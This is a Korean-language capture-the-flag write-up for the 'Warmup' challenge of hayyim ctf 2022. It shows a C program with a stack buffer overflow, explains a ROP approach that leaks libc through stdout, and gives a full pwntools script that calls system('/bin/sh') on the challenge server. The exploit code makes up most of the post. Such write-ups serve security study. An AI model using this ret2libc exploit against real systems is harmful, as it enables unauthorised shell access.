hayyim ctf 2022 - Warmup 본문
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
void vuln() {
char buf[0x30];
memset(buf, 0, 0x30);
write(1, "> ", 2);
read(0, buf, 0xc0);
}
int main(void) {
init();
vuln();
exit(0);
}
해당 문제의 코드이다.
처음에 문제를 봤을 때 그냥 rop 쓰면 끝날 것 같은데??
생각하며 ROPgadget들을 찾았지만
절망적이었다.
사용할 수 있는 가젯은 pop rbx, ret 밖에 없었다.
csu도 없다.
코드의 흐름을 여기 내에서만 바꿔야 겠다는 생각을 했다.
하지만 rsp변경 코드가 껴있어 너무 불편했다.
첫 번째 목표는
stdout을 leak 하는 거였다.
pop rbx로 stdout을 넣고 read를 다시 실행한다.
그 후 흐름을 다시 바꿔 write를 실행하게 만들었다.
두 번째는
얻은 libc base로 가젯들을 계산하고
magic 가젯을 실행하려 했으나
조건들이 맞지 않아 실패했다.
system을 사용해야 했는데
가젯이 없어서 libc파일에서 pop rdi를 구했다.
from pwn import *
#p = process('./warmup')
p = remote('141.164.48.191',10001)
context.log_level = 'Debug'
one_gadget = [0x4f3d5,0x4f432,0x10a41c]
elf = ELF('./warmup')
pop_rbx = 0x40057c
buf = 0x40057e
ret = 0x40057d
payload = 'A'*48 + p64(0x601000)
payload += p64(0x40053d)
p.send(payload)
p.sendafter('> ','ZZZZZZZZ')
payload_2 = 'C'*48 + p64(0x601000)
payload_2 += p64(0x400567)
payload_2 += 'D'*48 + p64(0x601000) + p64(0x40055d)
payload_2 += p64(0x601000)*1
payload_2 += p64(0x40053d)*7
time.sleep(0.2)
p.sendafter('> ',payload_2)
time.sleep(0.2)
p.sendafter('> ', '\x60')
leak = u64(p.recv(6)+'\x00\x00')
libc_base = leak - 0x3ec760
system = libc_base + 0x4f550
binsh = libc_base + 0x1b3e1a
pop_rdi = libc_base + 0x215bf
print(hex(libc_base))
print(hex(system))
payload_3 = p64(0)*7
payload_3 += p64(ret)*3
payload_3 += p64(pop_rdi)
payload_3 += p64(binsh)
payload_3 += p64(system)
#gdb.attach(p)
time.sleep(0.2)
p.sendline('\x00')
time.sleep(0.2)
p.sendafter('> ',payload_3)
p.interactive()
RSP변경으로 인해 중간에 dummy로 넣은 데이터들이 많다.
'CTF' 카테고리의 다른 글
Codegate 2022 preliminary - VIMT (0) | 2022.03.01 |
---|---|
hayyim ctf 2022 - Cooldown (0) | 2022.02.15 |
hayyim ctf 2022 - 후기 (0) | 2022.02.13 |
cyberpeace gcc 3.0 ITCTF 후기 (0) | 2022.01.11 |
SquareCTF 2017 - 6yte (0) | 2021.11.16 |
Comments